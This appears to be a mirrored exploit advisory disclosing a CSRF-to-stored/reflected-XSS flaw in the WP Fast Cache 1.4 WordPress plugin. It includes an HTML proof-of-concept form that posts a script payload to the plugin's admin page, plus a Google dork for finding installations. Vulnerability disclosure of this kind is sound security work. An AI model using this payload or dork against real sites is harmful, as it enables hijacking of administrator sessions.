WP Fast Cache 1.4 CSRF Stored/Reflected XSS Vulnerability

🗓️ 27 May 2015 00:00:00Reported by Claudio VivianiType

zdt🔗 0day.today👁 25 Views

WP Fast Cache 1.4 CSRF Stored/Reflected XSS Vulnerability in WordPress plugi

######################

# Exploit Title : WP Fast Cache 1.4 and below CSRF Stored/Reflected XSS

# Exploit Author : Claudio Viviani

# Website Author: http://www.homelab.it
                  http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive)
                  

# Vendor Homepage : https://wordpress.org/plugins/wp-fast-cache/

# Software Link : https://downloads.wordpress.org/plugin/wp-fast-cache.1.4.zip

# Dork Google: index of wp-fast-cache

# Date : 2015-05-11

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox

######################

# Info:

 WP Fast Cache is vulnerable to CSRF attacks, which can also be combined with stored/reflected XSS attacks (authenticated administrators only).


# PoC Exploit:

<html>
Click Here
<form method="post" action="http://10.0.0.67/wordpress/wp-admin/admin.php?page=wp-fast-cache">
  
  <input type="hidden" name="wp_fast_cache_bulk_action" value="cache_this_url">
  <input type="hidden" name="wp_fast_cache_bulk_action_url" value="<script>alert(/XSS/)</script>">
  <input type="submit" name="submit" value="Submit">

</form>
</html>

 wp_fast_cache_bulk_action_url var was not sanitized!
 

# PoC Video:

http://youtu.be/Z7kV3aWE6mU

#  0day.today [2018-01-09]  #

27 May 2015 00:00Current

7.1High risk

Vulners AI Score7.1